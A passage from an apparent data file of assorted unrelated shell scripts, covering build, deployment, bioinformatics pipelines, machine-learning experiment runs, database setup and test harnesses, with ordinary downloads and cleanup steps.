Genome_files/Sinorhizobium/ # Make directory\nperl Scripts/downloadGenomes_sino.pl Input_lists/genomeList_sino.txt # download the genomes of interest\ncp New_genomes/*.fna Genome_files/Sinorhizobium/ # Move new genomes in genomes directory\ncat New_genomes/newGenomeList.txt Input_lists/genomeList_sino.txt > temp_1.txt # Concatenated new list with old one\nsort -u -k1,1 temp_1.txt > temp_2.txt # Remove duplicates\nmv temp_2.txt Input_lists/genomeList_sino.txt # Rename file\nrm temp_1.txt # Remove file\n\n# Download the Rhizobium genomes\nperl Scripts/parseGenomeList_rhizo.pl Input_lists/Rhizobium.csv # Parse the NCBI genome table to get info to download genomes\nsort -u -k1,1 Input_lists/genomeList_rhizo.txt > temp.txt # Remove duplicates\nmv temp.txt Input_lists/genomeList_rhizo.txt # Rename the file\nsed -i 's/Rhizobium_etli_8C-3/Rhizobium_etli_8C_3/g' Input_lists/genomeList_rhizo.txt # Fix formatting\nmkdir Genome_files/Rhizobium/ # Make directory\nperl Scripts/downloadGenomes_rhizo.pl Input_lists/genomeList_rhizo.txt # download the genomes of interest\ncat Input_lists/genomeList_sino.txt Input_lists/genomeList_rhizo.txt > Input_lists/genomeList_combined.txt # Combine the genome lists"} {"text": "#!/bin/bash\nset -e\n\n#\n# Build the distribution using the same process used on Drupal.org\n#\n# Usage: scripts/build.sh [-y] from the profile main directory.\n#\n\nconfirm () {\n read -r -p \"${1:-Are you sure? [Y/n]} \" response\n case $response in\n [yY][eE][sS]|[yY])\n true\n ;;\n *)\n false\n ;;\n esac\n}\n\n# Figure out directory real path.\nrealpath () {\n TARGET_FILE=$1\n\n cd `dirname $TARGET_FILE`\n TARGET_FILE=`basename $TARGET_FILE`\n\n while [ -L \"$TARGET_FILE\" ]\n do\n TARGET_FILE=`readlink $TARGET_FILE`\n cd `dirname $TARGET_FILE`\n TARGET_FILE=`basename $TARGET_FILE`\n done\n\n PHYS_DIR=`pwd -P`\n RESULT=$PHYS_DIR/$TARGET_FILE\n echo $RESULT\n}\n\nusage() {\n echo \"Usage: build.sh [-y] \" >&2\n echo \"Use -y to skip deletion confirmation\" >&2\n exit 1\n}\n\nDESTINATION=./\nDESTINATION2=../../\nASK=true\n\nwhile getopts \":y\" opt; do\n case $opt in\n y)\n DESTINATION=$2\n ASK=false\n ;;\n \\?)\n echo \"Invalid option: -$OPTARG\" >&2\n usage\n ;;\n esac\ndone\n\nif [ \"x$DESTINATION\" == \"x\" ]; then\n usage\nfi\n\nif [ ! -f drupal-org.make ]; then\n echo \"[error] Run this script from the distribution base path.\"\n exit 1\nfi\n\n# Build the profile.\necho \"Updating profile...\"\ndrush -v make --working-copy --no-core --contrib-destination=\".\" drupal-org.make tmp\ncp -rvu tmp/. .\nrm -rf tmp\necho \"include external configs in settings.php\"\necho \"done\""} {"text": "sudo apt-get install mpg123 -y\nsudo apt-get install python3-pip -y"} {"text": "#!/bin/bash\n# Copyright (c) , \n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n# The common data preparation script for hybrid systems\n\nset -euo pipefail\n\nstage=-10\nnj=30\ntrain_set=train_si284\ntest_set=\"test_dev93 test_eval92\"\n\nwsj0=\nwsj1=\nif [[ $(hostname -f) == *.clsp.jhu.edu ]]; then\n wsj0=/export/corpora5/LDC/LDC93S6B\n wsj1=/export/corpora5/LDC/LDC94S13B\nfi\n\n. ./path.sh\n. ./cmd.sh\n. ./utils/parse_options.sh\n\n\nif [ $stage -le -4 ]; then\n # data preparation\n [ -z $wsj0 ] || [ -z $wsj1 ] && echo \"Specify '--wsj0' and '--wsj1' as the paths to the corpus\" && exit 1;\n local/wsj_data_prep.sh $wsj0/??-{?,??}.? $wsj1/??-{?,??}.?\n local/wsj_prepare_dict.sh --dict-suffix \"_nosp\"\n utils/prepare_lang.sh data/local/dict_nosp \\\n \"\" data/local/lang_tmp_nosp data/lang_nosp\n local/wsj_format_data.sh --lang-suffix \"_nosp\"\n echo \"Done formatting the data.\"\n\n local/wsj_extend_dict.sh --dict-suffix \"_nosp\" $wsj1/13-32.1\n utils/prepare_lang.sh data/local/dict_nosp_larger \\\n \"\" data/local/lang_tmp_nosp_larger \\\n data/lang_nosp_bd\n local/wsj_train_lms.sh --dict-suffix \"_nosp\"\n local/wsj_format_local_lms.sh --lang-suffix \"_nosp\"\n echo \"Done exteding the dictionary and formatting LMs.\"\nfi\n\nif [ $stage -le -3 ]; then\n # make MFCC features for the test data\n echo \"$0: extracting MFCC features for the test sets\"\n for dataset in $test_set; do\n mv data/$dataset data/${dataset}_hires\n steps/make_mfcc.sh --cmd \"$train_cmd\" --nj $nj \\\n --mfcc-config conf/mfcc_hires.conf data/${dataset}_hires\n steps/compute_cmvn_stats.sh data/${dataset}_hires\n done\nfi\n\nif [ $stage -le -2 ]; then\n echo \"$0: perturbing the training data\"\n utils/data/get_utt2dur.sh data/$train_set\n utils/data/perturb_data_dir_speed_3way.sh data/${train_set} data/${train_set}_sp\n utils/copy_data_dir.sh data/${train_set}_sp data/${train_set}_sp_hires\n\n # do volume-perturbation on the training data prior to extracting hires\n # features; this helps make trained nnets more invariant to test data volume.\n utils/data/perturb_data_dir_volume.sh data/${train_set}_sp_hires\nfi\n\nif [ $stage -le -1 ]; then\n echo \"$0: extracting MFCC features for the training data\"\n steps/make_mfcc.sh --cmd \"$train_cmd\" --nj $nj \\\n --mfcc-config conf/mfcc_hires.conf data/${train_set}_sp_hires\n steps/compute_cmvn_stats.sh data/${train_set}_sp_hires\n utils/fix_data_dir.sh data/${train_set}_sp_hires\nfi\n\nexit 0;"} {"text": "#!/bin/bash\n\necho \"applying bpe on other test sets\"\n\nwhile [[ \"$#\" -gt 0 ]]; do\n case $1 in\n --code-dir) export TEXT=\"$2\"; shift;;\n --test-set) export test_set=\"$2\"; shift;;\n --lang-pair) export lang1=\"$2\"; export lang2=\"$3\"; shift; shift;;\n --tokenizer) export TOKENIZER=\"$2\"; shift ;;\n *) echo \"Unknown parameter passed: $1\"; exit 1 ;;\n esac\n shift\ndone\n\nfile_head=\"$MUSTC_ROOT/$lang1-$lang2-text/data/$test_set/txt/$test_set\"\ntmp=$TEXT/tmp\n\necho \"pre-processing MUST-C test data...\"\nfor lang in $lang1 $lang2; do\n cat $file_head.$lang | \\\n sed -e \"s/\\’/\\'/g\" | \\\n perl $TOKENIZER -threads 30 -a -l $lang > \"$tmp/mustc-$test_set.$lang\"\n echo \"\"\ndone\n\n# also applying BPE on MUSC-C test set\nfor lang in $lang1 $lang2; do\n file=\"$tmp/mustc-$test_set.$lang\"\n outfile=\"$TEXT/mustc-$test_set.$lang\"\n echo \"apply_bpe.py to $file, saving to $outfile...\"\n python3 $WMT_ROOT/subword-nmt/subword_nmt/apply_bpe.py \\\n -c $TEXT/code \\\n < $file \\\n > $outfile\ndone"} {"text": "lib/build-android/arm64-v8a.sh\n#!/bin/bash\n\n. ./build-android/common.sh\n\nexport CC=aarch64-linux-android21-clang\nexport RUSTFLAGS=\"-Clinker=$CC -Car=aarch64-linux-android-ar\"\nexport TARGET=aarch64-linux-android\ncargo build --release --target $TARGET\nmkdir -p ../android/app/src/main/jniLibs/arm64-v8a/\ncp ../target/$TARGET/release/libfirma.so ../android/app/src/main/jniLibs/arm64-v8a/"} {"text": "10-100\n#!/bin/bash\n\n##\n## This script will learn projection matrix\n##\n\nfor f in `find . -name *-unproj.h5 | sed -e 's|\\.\\/||g' -e 's|-unproj.h5||g' | grep -v rank`\n do\n\n for mu in 0.0001 0.0005 0.0010 0.0020 0.0030\n do\n\n for gamma in 0.025 0.050 0.100 0.150 0.200 0.250 0.500 0.750 1.000\n do\n\n ds=${f##*/}\n result=$(cat pj-learn/logging/$ds-$mu-$gamma-pj.log | grep \"\\: 50000 Loss\\:\")\n\n if [ ${#result} -eq 0 ]\n then\n rm -f pj-learn/$ds-$mu-$gamma-pj.h5\n rm -f pj-learn/logging/$ds-$mu-$gamma-pj.log\n echo \"Compute dataset [$ds] mu: $mu gamma: $gamma\"\n ../bin/pj-learn -iters 50000 -mu $mu -gamma $gamma \\\n distances/$ds-unproj.h5 \\\n pj-learn/$ds-$mu-$gamma-pj.h5 \\\n | tee pj-learn/logging/$ds-$mu-$gamma-pj.log\n else\n echo \"Learning PJ for [pj-learn/$ds-$mu-$gamma-pj.h5] already done.\"\n fi\n\n done\n\n done\n\ndone"} {"text": "tests.sh0\n#!/bin/bash\n\n# Test 1 for sha512sum expected result of the SHA-512 hash value of input.txt for PASS\necho \"Checking [SHA-512] Hash Value of [input.txt] with [sha512sum] expected result to [PASS].\"\nexpec=\"$(sha512sum input.txt | cut -d \" \" -f 1)\"\nmyout=\"$(./main -f input.txt | sed \"1 d\")\"\necho \"Expected: \" $expec\necho \"Output: \" $myout\nif [[ $myout == $expec ]]; then\n echo \"[-----PASS-----]\"\n echo \"\"\nelse\n echo \"[-----FAIL-----]\"\n echo \"\"\nfi\n\n# Test 2 for sha512sum expected result of the SHA-512 hash value of input.txt for FAIL\necho \"Checking [SHA-512] Hash Value of [input.txt] with [sha512sum] expected result to [FAIL].\"\nexpec=\"FAILED-HASH-VALUE\"\nmyout=\"$(./main -f input.txt | sed \"1 d\")\"\necho \"Expected: \" $expec\necho \"Output: \" $myout\nif [[ $myout == $expec ]]; then\n echo \"[-----PASS-----]\"\n echo \"\"\nelse\n echo \"[-----FAIL-----]\"\n echo \"\"\nfi\n\n# Test 3 for sha256sum expected result of the SHA-256 hash value of input.txt for PASS\necho \"Checking [SHA-256] Hash Value of [input.txt] with [sha256sum] expected result to [PASS].\"\nexpec=\"$(sha256sum input.txt | cut -d \" \" -f 1)\"\nmyout=\"$(./main -a 256 -f input.txt | sed \"1 d\")\"\necho \"Expected: \" $expec\necho \"Output: \" $myout\nif [[ $myout == $expec ]]; then\n echo \"[-----PASS-----]\"\n echo \"\"\nelse\n echo \"[-----FAIL-----]\"\n echo \"\"\nfi\n\n# Test 4 for sha256sum expected result of the SHA-512 hash value of input.txt for FAIL\necho \"Checking [SHA-256] Hash Value of [input.txt] with [sha256sum] expected result to [FAIL].\"\nexpec=\"FAILED-HASH-VALUE\"\nmyout=\"$(./main -a 256 -f input.txt | sed \"1 d\")\"\necho \"Expected: \" $expec\necho \"Output: \" $myout\nif [[ $myout == $expec ]]; then\n echo \"[-----PASS-----]\"\n echo \"\"\nelse\n echo \"[-----FAIL-----]\"\n echo \"\"\nfi"} {"text": "#!/bin/bash\n\nset -o errexit -o nounset -o pipefail\n\ncurl \\\n --fail \\\n --location \\\n --remote-name \\\n \"https://github.com/bazelbuild/bazel/releases/download/${BAZEL_VERSION}/bazel-${BAZEL_VERSION}-linux-x86_64\"\n\ncurl \\\n --fail \\\n --location \\\n \"https://github.com/bazelbuild/bazel/releases/download/${BAZEL_VERSION}/bazel-${BAZEL_VERSION}-linux-x86_64.sha256\" \\\n | sha256sum --check\n\nmv \"bazel-${BAZEL_VERSION}-linux-x86_64\" bazel\nchmod +x bazel"} {"text": "exec/GSE145648-GPL20301/GSE145648-GPL20301.sh\n#!/bin/bash -l\n\n#$ -e /dev/null\n#$ -o /dev/null\n#$ -P tuberculosis\n#$ -pe omp 16\n#$ -t 1-84\n\nmodule load sratoolkit/2.10.5\nmodule load nextflow/19.10.0\n\nINDEX=$(($SGE_TASK_ID-1))\n\nINPUT=(SRR9163023 SRR9163024 SRR9163025 SRR9163026 SRR9163027 SRR9163028 SRR9163029 SRR9163030 SRR9163031 SRR9163032 SRR9163033 SRR9163034 SRR9163035 SRR9163036 SRR9163037 SRR9163038 SRR9163039 SRR9163040 SRR9163041 SRR9163042 SRR9163043 SRR9163044 SRR9163045 SRR9163046 SRR9163047 SRR9163048 SRR9163049 SRR9163050 SRR9163051 SRR9163052 SRR9163053 SRR9163054 SRR9163055 SRR9163056 SRR9163057 SRR9163058 SRR9163059 SRR9163060 SRR9163061 SRR9163062 SRR9163063 SRR9163064 SRR9163065 SRR9163066 SRR9163067 SRR9163068 SRR9163069 SRR9163070 SRR9163071 SRR9163072 SRR9163073 SRR9163074 SRR9163075 SRR9163076 SRR9163077 SRR9163078 SRR9163079 SRR9163080 SRR9163081 SRR9163082 SRR9163083 SRR9163084 SRR9163085 SRR9163086 SRR9163087 SRR9163088 SRR9163089 SRR9163090 SRR9163091 SRR9163092 SRR9163093 SRR9163094 SRR9163095 SRR9163096 SRR9163097 SRR9163098 SRR9163099 SRR9163100 SRR9163101 SRR9163102 SRR9163103 SRR9163104 SRR9163105 SRR9163106)\nSRRID=${INPUT[$INDEX]}\n\nSERIES_LIBRARY_LAYOUT=(SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE SINGLE)\nSAMPLE_LIBRARY_LAYOUT=${SERIES_LIBRARY_LAYOUT[$INDEX]}\n\nif [[ -e \"$SRRID.tsv.gz\" ]]; then\n exit\nfi\n\nprefetch --output-directory \"/scratch/$USER\" $SRRID | grep \"\\S\" &> \"$SRRID.log\"\nfasterq-dump --outdir \"/scratch/$USER/$SRRID\" --temp \"/scratch/$USER/$SRRID\" --threads 16 \"/scratch/$USER/$SRRID\" &>> \"$SRRID.log\"\n\nif [[ $SAMPLE_LIBRARY_LAYOUT == \"PAIRED\" ]]; then\n nextflow run -profile singularity -revision 1.4.2 -work-dir \"/scratch/$USER/$SRRID/work\" nf-core/rnaseq --reads \"/scratch/$USER/$SRRID/*{1,2}.fastq\" --genome GRCh38 --skipBiotypeQC --outdir \"/scratch/$USER/$SRRID/results\" &>> \"$SRRID.log\"\nfi\n\nif [[ $SAMPLE_LIBRARY_LAYOUT == \"SINGLE\" ]]; then\n nextflow run -profile singularity -revision 1.4.2 -work-dir \"/scratch/$USER/$SRRID/work\" nf-core/rnaseq --reads \"/scratch/$USER/$SRRID/*.fastq\" --singleEnd --genome GRCh38 --skipBiotypeQC --outdir \"/scratch/$USER/$SRRID/results\" &>> \"$SRRID.log\"\nfi\n\nif [[ -n $(grep -l \"Succeeded : 13\" \"$SRRID.log\") ]]; then\n gzip --stdout \"/scratch/$USER/$SRRID/results/featureCounts/merged_gene_counts.txt\" > \"$SRRID.tsv.gz\"\nfi\n\nrm -rf \"/scratch/$USER/$SRRID\""} {"text": "IBM/code-engine-java-sdk\n# Code Engine Java SDK Integration tests\n# Requires the following env. variables (provdied to TravisCI)\n# - CE_API_KEY: IBM Cloud API Key\n# - CE_PROJECT_ID: GUID of Code Engine project to target\n# - CE_PROJECT_REGION: region for API URL\n\necho \"Running integration tests...\"\n\n# Run example, get exit code\njarname=$(ls ./modules/examples/target | grep '.jar' | grep -v 'sources' | grep -v 'original')\nexampleoutput=$(java -jar ./modules/examples/target/$jarname)\nexampleexit=$?\nif [ $exampleexit -ne 0 ]; then\n echo \"Integration tests failed with exit code $exampleexit\"\n echo $exampleoutput\n exit $exampleexit\nfi\n\n# Check if output is expected\noutputcheck=\"2 configmaps\"\nif [[ $exampleoutput != *$outputcheck* ]]; then\n echo \"Intergration test output is incorrect:\"\n echo \"Expected '$exampleoutput' to contain '$outputcheck'\"\n exit 1\nfi\n\necho \"Success!\""} {"text": "0\n#!/usr/bin/env bash\n\nSETUP_SCRIPT_DIR=$(dirname $0)\nSRC_DIR=$SETUP_SCRIPT_DIR/../src\nEMACS_DIR=~/.emacs.d\n\nbrew install emacs --with-cocoa --with-gnutls --japanese\n\nif [ ! -f $EMACS_DIR/init.el ]; then\n cp $SRC_DIR/init.el $EMACS_DIR/init.el \nfi\n\nif [ ! -d $EMACS_DIR/elisp ]; then\n cp -r $SRC_DIR/elisp $EMACS_DIR/.\nfi"} {"text": "0\n#!/bin/sh\n# This script is used to setup an Oracle database for use with the CMR. It creates all of the users\n# and runs the database migrations to fully setup Oracle. The script should be run from the cmr root\n# directory, ie, # ./dev-system/support/setup-oracle.sh\n\n# Should be able to use lein modules, however it is reporting that create-user is returning a\n# non-zero exit code even though manually running lein create-user for an app returns 0 exit code\n# lein modules :dirs \"ingest-app:bootstrap-app:metadata-db-app\" create-user\n\n# Fail the script if the required environment variables are not set.\nif [ -z \"${CMR_METADATA_DB_PASSWORD}\" ] || \n [ -z \"${CMR_BOOTSTRAP_PASSWORD}\" ] || \n [ -z \"${CMR_INGEST_PASSWORD}\" ]; then\n echo \"Failed running the script because one or more of the following environment variables are not set: CMR_METADATA_DB_PASSWORD, CMR_BOOTSTRAP_PASSWORD and CMR_INGEST_PASSWORD\" >&2\n exit 1\nfi \n\ndate && echo \"Creating database users\" &&\nfor i in metadata-db-app bootstrap-app ingest-app; do\n (cd $i && lein create-user)\n if [ $? -ne 0 ] ; then\n echo \"Failed to create database users for $i\" >&2\n exit 1\n fi\ndone\ndate && echo \"Running database migrations\" &&\nlein modules :dirs \"ingest-app:bootstrap-app:metadata-db-app\" migrate\nif [ $? -ne 0 ] ; then\n echo \"Failed to run database migrations\" >&2\n exit 1\nfi"} {"text": "#!/usr/bin/env bash\n# @Author: gunjianpan\n# @Date: 2018-11-09 16:09:31\n# @Last Modified by: gunjianpan\n# @Last Modified time: 2019-01-14 11:18:30\n\n# File Path in your Service !important\nlogpath=/usr/local/nginx/logs/access.log\nbackuppath=/usr/local/www/wyydsb/access.log\ngitpath=/usr/local/www/wyydsb/blog\nnginxpath=/usr/local/www\nblockpath=/usr/local/nginx/conf/block_ip.conf"} {"text": "#!/usr/bin/env bash\n\nif [ $1 = \"cifar\" ]; then\n echo \"************************ replicating experiment (Split CIFAR-100) ***********************\"\n\n echo \" >>>>>>>> Naive SGD \"\n python3 -m main --dataset cifar100 --tasks 20 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5\n\n echo \" >>>>>>>> EWC \"\n python3 -m main --dataset cifar100 --tasks 20 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'ewc' --lambd 1\n\n echo \" >>>>>>>> A-GEM \"\n python3 -m main --dataset cifar100 --tasks 20 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'agem' --mem-size 1\n\n echo \" >>>>>>>> ER \"\n python3 -m main --dataset cifar100 --tasks 20 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'er' --mem-size 1\n\n echo \" >>>>>>>> Stable SGD \"\n python3 -m main --dataset cifar100 --tasks 20 --epochs-per-task $2 --lr 0.1 --gamma 0.9 --batch-size 10 --dropout 0.1 --runs 5\n\n echo \" >>>>>>>> Naive RMSProp \"\n python3 -m main --dataset cifar100 --tasks 20 --epochs-per-task $2 --lr 0.005 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'rms'\n\n echo \" >>>>>>>> TAG-RMSProp\"\n python3 -m main --dataset cifar100 --tasks 20 --epochs-per-task $2 --lr 0.00025 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'tag' --b 5 --tag-opt 'rms'\n\n echo \" >>>>>>>> Multi-task \"\n python3 -m main --dataset cifar100 --tasks 20 --epochs-per-task $2 --lr 0.01 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --multi 1\n\nelif [ $1 = \"mini_imagenet\" ]; then\n echo \"************************ replicating experiment (Split-miniImageNet) ***********************\"\n\n echo \" >>>>>>>> Naive SGD \"\n python3 -m main --dataset mini_imagenet --tasks 20 --epochs-per-task $2 --lr 0.05 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5\n\n echo \" >>>>>>>> EWC \"\n python3 -m main --dataset mini_imagenet --tasks 20 --epochs-per-task $2 --lr 0.05 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'ewc' --lambd 1\n\n echo \" >>>>>>>> A-GEM \"\n python3 -m main --dataset mini_imagenet --tasks 20 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'agem' --mem-size 1\n\n echo \" >>>>>>>> ER \"\n python3 -m main --dataset mini_imagenet --tasks 20 --epochs-per-task $2 --lr 0.05 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'er' --mem-size 1\n\n echo \" >>>>>>>> Stable SGD \"\n python3 -m main --dataset mini_imagenet --tasks 20 --epochs-per-task $2 --lr 0.1 --gamma 0.9 --batch-size 10 --dropout 0.0 --runs 5\n\n echo \" >>>>>>>> Naive RMSProp \"\n python3 -m main --dataset mini_imagenet --tasks 20 --epochs-per-task $2 --lr 0.001 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'rms'\n\n echo \" >>>>>>>> TAG-RMSProp\"\n python3 -m main --dataset mini_imagenet --tasks 20 --epochs-per-task $2 --lr 0.0001 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'tag' --b 5 --tag-opt 'rms'\n\n echo \" >>>>>>>> Multi-task \"\n python3 -m main --dataset mini_imagenet --tasks 20 --epochs-per-task $2 --lr 0.01 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --multi 1\n\nelif [ $1 = \"cub\" ]; then\n echo \"************************ replicating experiment (Split-CUB) ***********************\"\n\n echo \" >>>>>>>> Naive SGD \"\n python3 -m main --dataset cub --tasks 20 --epochs-per-task $2 --lr 0.01 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5\n\n echo \" >>>>>>>> EWC \"\n python3 -m main --dataset cub --tasks 20 --epochs-per-task $2 --lr 0.01 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'ewc' --lambd 1\n\n echo \" >>>>>>>> A-GEM \"\n python3 -m main --dataset cub --tasks 20 --epochs-per-task $2 --lr 0.01 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'agem' --mem-size 1\n\n echo \" >>>>>>>> ER \"\n python3 -m main --dataset cub --tasks 20 --epochs-per-task $2 --lr 0.01 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'er' --mem-size 1\n\n echo \" >>>>>>>> Stable SGD \"\n python3 -m main --dataset cub --tasks 20 --epochs-per-task $2 --lr 0.05 --gamma 0.9 --batch-size 10 --dropout 0.0 --runs 5\n\n echo \" >>>>>>>> Naive RMSProp \"\n python3 -m main --dataset cub --tasks 20 --epochs-per-task $2 --lr 0.0001 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'rms'\n\n echo \" >>>>>>>> TAG-RMSProp\"\n python3 -m main --dataset cub --tasks 20 --epochs-per-task $2 --lr 0.000025 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --opt 'tag' --b 5 --tag-opt 'rms'\n\n echo \" >>>>>>>> Multi-task \"\n python3 -m main --dataset cub --tasks 20 --epochs-per-task $2 --lr 0.01 --gamma 1.0 --batch-size 10 --dropout 0.0 --runs 5 --multi 1\n\nelif [ $1 = \"5data\" ]; then\n echo \"************************ replicating experiment (5-dataset) ***********************\"\n\n echo \" >>>>>>>> Naive SGD \"\n python3 -m main --dataset 5data --tasks 5 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 64 --dropout 0.0 --runs 5\n\n echo \" >>>>>>>> EWC \"\n python3 -m main --dataset 5data --tasks 5 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 64 --dropout 0.0 --runs 5 --opt 'ewc' --lambd 100\n\n echo \" >>>>>>>> A-GEM \"\n python3 -m main --dataset 5data --tasks 5 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 64 --dropout 0.0 --runs 5 --opt 'agem' --mem-size 1\n\n echo \" >>>>>>>> ER \"\n python3 -m main --dataset 5data --tasks 5 --epochs-per-task $2 --lr 0.1 --gamma 1.0 --batch-size 64 --dropout 0.0 --runs 5 --opt 'er' --mem-size 1\n\n echo \" >>>>>>>> Stable SGD \"\n python3 -m main --dataset 5data --tasks 5 --epochs-per-task $2 --lr 0.1 --gamma 0.7 --batch-size 64 --dropout 0.0 --runs 5\n\n echo \" >>>>>>>> Naive RMSProp \"\n python3 -m main --dataset 5data --tasks 5 --epochs-per-task $2 --lr 0.001 --gamma 1.0 --batch-size 64 --dropout 0.0 --runs 5 --opt 'rms'\n\n echo \" >>>>>>>> TAG-RMSProp\"\n python3 -m main --dataset 5data --tasks 5 --epochs-per-task $2 --lr 0.0005 --gamma 1.0 --batch-size 64 --dropout 0.0 --runs 5 --opt 'tag' --b 7 --tag-opt 'rms'\n\n echo \" >>>>>>>> Multi-task \"\n python3 -m main --dataset 5data --tasks 5 --epochs-per-task $2 --lr 0.05 --gamma 1.0 --batch-size 64 --dropout 0.0 --runs 5 --multi 1\n\n\nfi"} {"text": "# Suffix aliases\nalias -s swift=vim\nalias -s yml=vim\nalias -s md=vim\n\n# dirs shortcuts\nalias d='dirs -v | head -10'\nalias d1='cd -'\nalias d2='cd -2'\nalias d3='cd -3'\nalias d4='cd -4'\nalias d5='cd -5'\nalias d6='cd -6'\nalias d7='cd -7'\nalias d8='cd -8'\nalias d9='cd -9'\nalias d10='cd -10'"} {"text": "#!/bin/bash\n\nset -e\necho \"Publishing to Development server\"\nTARGET='dev.wintoncentre.uk:/var/www/childrensheartsurgery.dev.wintoncentre.uk/'\nLOCAL_DEV='resources/public/'\necho \"===============Building files=============\"\nlein clean\nlein home # creates static home page for fast load\nlein cljsbuild once min\nmkdir -p resources/public/css\nsass sass/app.scss resources/public/css/app.css\n#gulp\necho \"===============rsync-ing files===================\"\nrsync -av --del --no-perms --no-owner --no-group $LOCAL_DEV $USER@$TARGET\necho \"=================================\"\necho \"Uploaded to \" $TARGET\necho \"=================================\""} {"text": "#!/bin/bash\n\nterraform plan -out plan.bin\nterraform show -json plan.bin > plan.json\n\n# res=$(opa eval -i plan.json -d policies \"data.example.terraform.tags.pass\" | jq '.result[0].expressions[0].value')\n\n# echo \"Pass: $res\""} {"text": "#! /bin/bash\nrm -rf quadruped/*\ncp downloadServer.sh quadruped/download.sh\ncd quadruped\n./download.sh\necho running new version\n./run_linux.sh\necho server exited\necho process ended\ncd .."} {"text": "#!/bin/sh\ndocker ps --format '{{.Names}}' | grep \"celeryworker\" | xargs -I '{}' docker exec -i {} python -c \"from grid.core.celery_app import celery_app; celery_app.control.purge();print('Tasks Cleared')\""} {"text": "setup_test_env.sh\n#!/usr/bin/env bash\n\nset -e\n\nmake clean\nmake go\nmake\nmake install\n\nservice postgresql restart\nservice clickhouse-server restart\n\nsleep 3\nclickhouse-client --query=\"drop table if exists gotest;\"\nclickhouse-client --query=\"drop table if exists gotest2;\"\nclickhouse-client --query=\"drop table if exists gotest3;\"\nclickhouse-client --query=\"create table gotest(name String, value String, num Int64, val UInt64, val2 UInt32, val3 Float32, val4 Int8, val5 Date, val6 DateTime('CET')) Engine = Log;\"\nclickhouse-client --query=\"insert into gotest values('hello', 'world', 110, 1101, 11, 1.1, 1, '2019-01-08', '2019-01-08T10:11:34');\"\nclickhouse-client --query=\"create table gotest2(val Array(UInt8), val2 Array(String)) Engine = Log;\"\nclickhouse-client --query=\"insert into gotest2 values([1, 2], ['hello', 'world']);\"\nclickhouse-client --query=\"create table gotest3(val UInt8, val2 UInt8) Engine = Log;\"\nclickhouse-client --query=\"insert into gotest3 values(1, 2);\"\nclickhouse-client --query=\"insert into gotest3 values(2, 2);\"\nclickhouse-client --query=\"insert into gotest3 values(3, 2);\"\nclickhouse-client --query=\"insert into gotest3 values(4, 2);\"\nsu postgres -c \"make installcheck\"\nsu postgres -c \"psql << EOF\ndrop extension IF EXISTS ch_fdw cascade;\ncreate extension IF NOT EXISTS ch_fdw ;\ncreate server IF NOT EXISTS ch_fdw foreign data wrapper ch_fdw options(host '127.0.0.1', port '9000');\ncreate foreign table IF NOT EXISTS gotest (name text not null, value text not null, num bigint not null, val numeric, val2 numeric, val3 real, val4 numeric, val5 date, val6 timestamptz) server ch_fdw options (table 'gotest');\nSELECT * FROM gotest;\nEOF\""} {"text": "#!/bin/sh\n\nOTG_API_VERSION=0.7.8\nOPENCONFIG_GNMI_COMMIT=741cdaba27df2decde561afef843f16d0631373f\n\n# Avoid warnings for non-interactive apt-get install\nexport DEBIAN_FRONTEND=noninteractive\n\ninstall_deps() {\n\techo \"Installing dependencies required by this project\"\n apt-get update \\\n\t&& apt-get -y install --no-install-recommends apt-utils dialog 2>&1 \\\n && apt-get -y install python-is-python3 python3-pip \\\n && python -m pip install --default-timeout=100 -r requirements.txt \\\n && apt-get -y clean all\n}\n\ninstall_ext_deps() {\n echo \"Installing extra dependencies required by this project\"\n apt-get -y install curl vim git \\\n && python -m pip install --default-timeout=100 flake8 requests pytest pytest-cov pytest_dependency pytest-html pytest-grpc pytest-asyncio asyncio mock coverage \\\n && apt-get -y clean all\n}\n\nget_proto() {\n echo \"Fetching proto files\"\n rm -rf otg_gnmi/proto/> /dev/null 2>&1 || true \\\n && mkdir otg_gnmi/proto/ \\\n && get_gnmi_proto\n\n}\n\n\nget_gnmi_proto() {\n echo \"Fetching gNMI proto for ${OPENCONFIG_GNMI_COMMIT} ...\"\n curl -kLO 